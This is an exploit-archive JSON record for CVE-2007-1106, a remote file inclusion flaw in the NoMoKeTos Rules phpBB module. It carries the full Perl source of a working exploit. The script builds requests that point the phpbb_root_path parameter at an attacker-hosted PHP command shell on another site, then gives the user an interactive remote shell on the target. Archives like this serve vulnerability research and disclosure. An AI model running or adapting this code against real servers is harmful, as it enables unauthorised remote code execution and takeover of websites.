{"exploit":{"id":"EDB-3373","name":"phpBB Module NoMoKeTos Rules 0.0.1 - Remote File Inclusion (RFI)","description":"phpBB Module NoMoKeTos Rules 0.0.1 - Remote File Inclusion (RFI)","cves":["CVE-2007-1106"],"author":"bd0rk","published":"2007-02-24","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3373","path":"exploits/php/webapps/3373.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3373.pl","vulnerabilities":[{"id":"CVE-2007-1106","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in includes/functions_nomoketos_rules.php in the NoMoKeTos Rules 0.0.1 module for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1106","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1106"},"updatedAt":"2024-08-07T12:43:22.559Z","retrievedAt":"2026-11-27T00:10:34.474Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3373.png?v=2","url":"https://exploitbin.com/exploits/EDB-3373","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3373/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3373/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n#phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit\n#\n#Coded by bd0rk || SOH-Crew\n#\n#Usage: exploit.pl [target] [cmd shell] [shell variable]\n#\n#Greetings: str0ke, TheJT, Kacper, Lu7k, Maik\n#\n#Vulnerable Code: include_once($phpbb_root_path . 'includes/functions_admin.'.$phpEx);\n#\n# vendor: http://www.nomoketo.de/MODs/nomoketos_rules.zip\n\nuse LWP::UserAgent;\n\n$Path = $ARGV[0];\n$Pathtocmd = $ARGV[1];\n$cmdv = $ARGV[2];\n\nif($Path!~/http:\\/\\// || $Pathtocmd!~/http:\\/\\// || !$cmdv){usage()}\n\nhead();\n\nwhile()\n{\n       print \"[shell] \\$\";\nwhile(<STDIN>)\n       {\n               $cmd=$_;\n               chomp($cmd);\n\n$xpl = LWP::UserAgent->new() or die;\n$req = HTTP::Request->new(GET =>$Path.'includes/functions_nomoketos_rules.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die \"\\nCould Not connect\\n\";\n\n$res = $xpl->request($req);\n$return = $res->content;\n$return =~ tr/[\\n]/[....]/;\n\nif (!$cmd) {print \"\\nPlease Enter a Command\\n\\n\"; $return =\"\";}\n\nelsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)\n       {print \"\\nCould Not Connect to cmd Host or Invalid Command Variable\\n\";exit}\nelsif ($return =~/^<br.\\/>.<b>Fatal.error/) {print \"\\nInvalid Command or No Return\\n\\n\"}\n\nif($return =~ /(.*)/)\n\n\n{\n       $finreturn = $1;\n       $finreturn=~ tr/[....]/[\\n]/;\n       print \"\\r\\n$finreturn\\n\\r\";\n       last;\n}\n\nelse {print \"[shell] \\$\";}}}last;\n\nsub head()\n {\n print \"\\n============================================================================\\r\\n\";\n print \" *phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit*\\r\\n\";\n print \"============================================================================\\r\\n\";\n }\nsub usage()\n {\n head();\n print \" Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\\r\\n\\n\";\n print \" <Site> - Full path to RulesMod ex: http://www.site.com/ \\r\\n\";\n print \" <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \\r\\n\";\n print \" <cmd variable> - Command variable used in php shell \\r\\n\";\n print \"============================================================================\\r\\n\";\n print \"                           Bug Found by bd0rk \\r\\n\";\n print \"                           www.soh-crew.it.tt \\r\\n\";\n print \"============================================================================\\r\\n\";\n exit();\n }\n\n# milw0rm.com [2007-02-24]","sha256":"f281780709e2c8a0bb6d3b26aaec69f4063143e84f0df89ef14142a3a15c9b8c","bytes":2417,"fetchedAt":"2026-11-27T00:10:27.885Z","encoding":"utf-8 (display only; download retains original bytes)"}